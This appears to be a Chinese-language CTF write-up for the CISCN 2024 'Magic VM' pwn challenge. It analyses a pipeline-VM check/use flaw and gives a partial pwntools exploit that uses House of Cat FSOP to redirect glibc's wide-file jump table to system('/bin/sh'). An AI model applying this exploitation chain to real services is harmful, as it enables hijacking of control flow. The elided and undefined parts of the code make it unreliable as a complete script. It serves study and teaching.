CISCN 2024 Pwn VM writeup
字数 1357 2025-08-20 18:18:17
Magic VM 漏洞分析与利用教学文档
1. 题目概述
Magic VM 是 CISCN 2024 中的一个 Pwn 题目,实现了一个简易的流水线虚拟机。该虚拟机包含三个主要处理阶段:ID(译码)、ALU(计算)和 MEM(存储),通过流水线方式执行指令。
2. 虚拟机结构
2.1 主要数据结构
struct __attribute__((aligned(8))) vm {
char *reg0[4]; // 4个寄存器
__int64 now_stack_ptr; // 当前栈指针
unsigned __int64 pc; // 程序计数器
char *code_base; // 代码段基址
__int64 data_base; // 数据段基址
__int64 stack_base; // 栈基址
__int64 code_size; // 代码段大小(0x2000)
__int64 data_size; // 数据段大小(0x3000)
__int64 stack_size_; // 栈大小(0x1000)
vm_id *id; // ID阶段处理器
vm_alu *alu; // ALU阶段处理器
vm_mem *mem; // MEM阶段处理器
};
struct __attribute__((aligned(8))) vm_alu {
char *is_valid;
__int64 each_opcode_OPTYPE; // 操作码
__int64 ops_total_type; // 操作数类型
__int64 op1_addr_or_reg; // 操作数1
__int64 op2_addr_or_reg; // 操作数2
int result_type; // 结果类型
int mem_num; // 内存操作数
__int64 dst_op_value; // 目标操作数值
__int64 alu_result; // ALU计算结果
__int64 now_stack_ptr;
__int64 stack_ptr;
};
struct __attribute__((aligned(8))) vm_mem {
int mem_valid_result_type;
int mem_idx;
__int64 dst_op_value; // 目标地址
__int64 src_alu_result; // 源ALU结果
__int64 now_stack_ptr;
__int64 next_vm;
};
struct __attribute__((aligned(8))) vm_id {
char *is_valid;
__int64 each_opcode; // 操作码
__int64 ops1_total_type; // 操作数1类型
__int64 op1_addr_or_reg; // 操作数1
__int64 op2_addr_or_reg; // 操作数2
};
2.2 内存布局
虚拟机使用mmap分配内存空间:
- 代码段:0x2000字节
- 数据段:0x3000字节
- 栈段:0x1000字节
布局如下:
+- 0x2000 code
0x3000 data
0x1000 stack
3. 指令系统
3.1 操作码
opcode = {
"ADD": 1,
"SUB": 2,
"SHL": 3,
"SHR": 4,
"MOV": 5,
"AND": 6,
"OR": 7,
"XOR": 8,
"PUSH": 9,
"POP": 10,
"NOP": 11,
}
3.2 指令格式
指令格式为:[opcode][optype][value1][value2]
其中optype定义操作数类型:
- 第1-2bit:第一个操作数类型
- 第3-4bit:第二个操作数类型
操作数类型:
- NUM(1):8字节数据
- REG(2):1字节寄存器索引(0-3)
- ADDR(3):寄存器值作为地址
4. 流水线执行流程
虚拟机采用三级流水线执行指令:
Loop 1: ID 1
Loop 2: ID 2 | ALU 1
Loop 3: ID 3 | ALU 2 | MEM 1
...
关键点:
- 指令在循环1被ID解析
- 在循环2被ALU执行
- 在循环3被MEM存储
5. 漏洞分析
5.1 检查与使用分离漏洞
主要漏洞在于检查和使用不在同一个上下文中:
- 地址/寄存器检查在ID阶段进行
- 实际使用在ALU/MEM阶段(后续循环)进行
- 中间可能被其他指令修改寄存器值
示例攻击序列:
0: add r1, 0xffff // 设置r1为越界地址
1: mov r1, 0 // 修改r1为合法值
2: add r2, [r1] // 实际使用r1的旧值(0xffff)访问内存
3: nop
4: nop
执行流程:
- 循环1:ID解析指令2时,r1=0(合法)
- 循环2:ALU执行指令1,修改r1=0
- 循环3:MEM执行指令0,修改r1=0xffff
- 循环4:ALU执行指令2,使用r1=0xffff(越界访问)
5.2 漏洞利用能力
通过该漏洞可以实现:
- 任意地址加减运算
- 间接实现任意地址读写
6. 漏洞利用
6.1 利用思路
利用House of Cat攻击策略,通过FSOP攻击_IO_wfile_JUMP表,利用seekoff函数劫持控制流。
6.2 攻击条件
需要满足以下条件:
FILE->_IO_write_base < FILE->_IO_write_ptrwide_data->_IO_write_base < wide_data->_IO_write_ptrwide_data->_IO_read_end != wide_data->_IO_read_ptrFILE->_lock可写file->_mode > 0_wide_data->_IO_write_base != 0
需要修改的关键点:
FILE->flag="/bin/sh"wide_data->jump(0xe0 offset)->0x18 = system
6.3 EXP代码分析
from pwn import *
# 定义操作码和辅助函数
opcode = {...}
def generate_type(t): ...
def push_value(): ...
def add_value(value): ...
def sub_value_reg(value): ...
def sub_value(value): ...
def xor_value_reg(value): ...
def pop_value(): ...
def set_value_reg(value, reg): ...
def nop(): ...
# 偏移量定义
OFFSET_TO_LIBC = 0x9000
LIBC_STDERR = 0x21b6a0
STDERR_VTABLE = LIBC_STDERR + 0xd8
WIDE_DATA = 0x21a8a0
WFILE_JUMP = 0x2170c0
_IO_WOVERFLOW_OFFSET = 0x18
SYSTEM = 0x50D70
_IO_WFILE_OVERFLOW = 0x086390
SYSTEM_OFF = _IO_WFILE_OVERFLOW - SYSTEM
# 生成读取指令
def generate_read(offset, value):
shellcode = b''
shellcode += add_value(offset)
shellcode += set_value_reg(0, RET_REG)
shellcode += sub_value(value)
shellcode += nop()
shellcode += nop()
return shellcode
# 构建攻击payload
shellcode1 = generate_read(off(STDERR_VTABLE), 0x510) + \
generate_read(off(LIBC_STDERR+0x28), 0xffffffffffffff00) + \
generate_read(off(LIBC_STDERR+0xc0), 0xffffffffffffffff) + \
generate_read(off(WIDE_DATA), 0xfffffffffffffaf0) + \
generate_read(off(WIDE_DATA+0x18), 0xfffffffffffffaf0) + \
generate_read(off(WIDE_DATA+0x20), 0xfffffffffffffa00) + \
generate_read(off(WIDE_DATA+0x20), 0xffffffffffffff00) + \
generate_read(off(WIDE_DATA+0xe0), 0xffffffffffffba20) + \
generate_read(off(LIBC_STDERR+0x18), 0x1ca9b3) + \
generate_read(off(LIBC_STDERR), 0xff978cd18d43be58)
# 发送payload
ph = process("./pwn")
ph.sendline(shellcode1 + debug_shellcode)
ph.interactive()
7. 总结与学习要点
- 流水线设计漏洞:检查和使用分离是流水线架构中常见的安全问题
- 利用条件竞争:通过指令序列制造时间差实现越界访问
- 高级FSOP技巧:结合House of Cat和House of Emma的攻击思路
- IO_FILE利用:深入理解
_IO_wfile_JUMP和seekoff的利用方式
关键学习点:
- 理解虚拟机的三级流水线执行机制
- 掌握检查与使用分离漏洞的利用方法
- 学习现代libc的FSOP攻击技巧
- 熟悉IO_FILE结构体的关键字段和利用条件